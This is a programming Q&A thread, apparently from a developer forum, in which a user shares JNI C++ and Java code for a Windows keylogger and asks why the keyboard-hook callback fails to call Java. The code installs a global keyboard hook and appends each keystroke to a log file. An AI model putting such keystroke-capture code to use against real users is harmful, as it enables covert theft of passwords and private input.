0
votes

I am writing a JNI key logger and the native code for that is as below.

#include "com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper.h"
#include "com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_KeyListener.h"
#include <cstring>
#include <windows.h>
#include <iostream>
#include <stdio.h>

HINSTANCE hinst;
HHOOK hhk;
JNIEnv * thisEnv;
jclass thisClazz;
jmethodID mid;

LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(int ,WPARAM , LPARAM );

BOOL WINAPI DllMain(  __in  HINSTANCE hinstDLL,
  __in  DWORD fdwReason,
  __in  LPVOID lpvReserved
  ) {

 hinst = hinstDLL;
 return TRUE;
}

LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(int nCode,WPARAM wParam, LPARAM lParam){
    thisEnv->CallStaticVoidMethod(thisClazz, mid, nCode);
    LRESULT RetVal = CallNextHookEx( hhk, nCode, wParam, lParam );
    return  RetVal;
}

JNIEXPORT void JNICALL Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_unhookKeyListener
  (JNIEnv * env, jclass clazz){
    thisEnv = NULL;
    thisClazz = NULL;
    mid = NULL;
    UnhookWindowsHookEx(hhk);
}

JNIEXPORT void JNICALL Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener
  (JNIEnv * env, jclass clazz){
    thisEnv = env;
    thisClazz = clazz;
    mid = env->GetStaticMethodID( clazz, "onKeyPress", "(I)V");
    hhk = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,0);
}

Intent of the program is to notify java program(a static method onKeyPress) from the native code where I'll log keys and notify user. I'll first call hookKeyListener(native version: Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener) where i'll register windows hook and store all parameters(env, jclass and mid). In the callback(KeyboardProc) I'll notify java program using previously stored env , jClass , mid. and finally unregister hook.

Now the problem what I am facing is, java method(static) is not getting called from native code.Below are few of my observations.

1>If call java method in Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener, it is successfully calling java method(This means I can call static methods)

2>I wrote some test code in KeyboardProc(CallBack) like creating file and logging keys into it, then it is working well(This means Hook is registered correctly and also getting called when key is pressed)

But I am not able to call java code from CallBack(KeyboardProc).I have a doubt on stored variables(env, jClass, mid)-can I store these parameters to global variables?If not, Then how can I call java program from native code?Any help is appreciated.

Below is the java code I want to call from native code.

package com.webspur.rmtadmin.java.app.keylogger;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.util.HashMap;

public class KeyloggerHelper {

    static{
        System.loadLibrary("KeyHookLibrary");
    }

    public interface KeyListener{
        public void onKeyPress(int keyCode);
    }

    private static boolean started = false;
    private static KeyListener keyListener = null;
    private static BufferedWriter writer = null;
    private static HashMap<Integer, String> specialKeys = new HashMap<Integer, String>();

    public static void init(){
        try{
            File logFile = new File("./resources/leylog.txt");
            if(!logFile.exists())
                logFile.createNewFile();
            writer = new BufferedWriter(new FileWriter(logFile, true));
        }catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void start(KeyListener listener){
        keyListener = listener;
        if(!started)
            startInternal();
    }

    public static void stop(){
        keyListener = null;
        if(started)
            stopInternal();
    }

    private static void stopInternal() {
        try{
            unhookKeyListener();
            started = false;
            writer.close();
        }catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static native void unhookKeyListener();

    private static void startInternal(){
        hookKeyListener();
        started = true;
    }

    private static native void hookKeyListener();

    public static void onKeyPress(int keyCode){
        try{
            if(keyListener!=null)
                keyListener.onKeyPress(keyCode);
            writer.append((char)keyCode);
        }catch (Exception e) {
            //ignore..
        }
    }
}
2

2 Answers

1
votes

The only things you can store in global variables are:

  1. field and method ids
  2. global refs you create explicitly

You can't store the env, you can't store local refs that are handed to you as parameters.

You don't know what thread you will be called on in the event handler, so you must explicitly attach.

All in all, see http://java.sun.com/docs/books/jni/html/invoke.html.

0
votes

Too much code for me to bother reading, mate.

I'm not sure why you need native code. Why not just write the whole thing in Java, since it can respond to every key on the keyboard?

You feel the need for native code, but the requirement to call back to Java should be a hint: don't do it. You're over complicating your life with no payoff. Think 'simple'.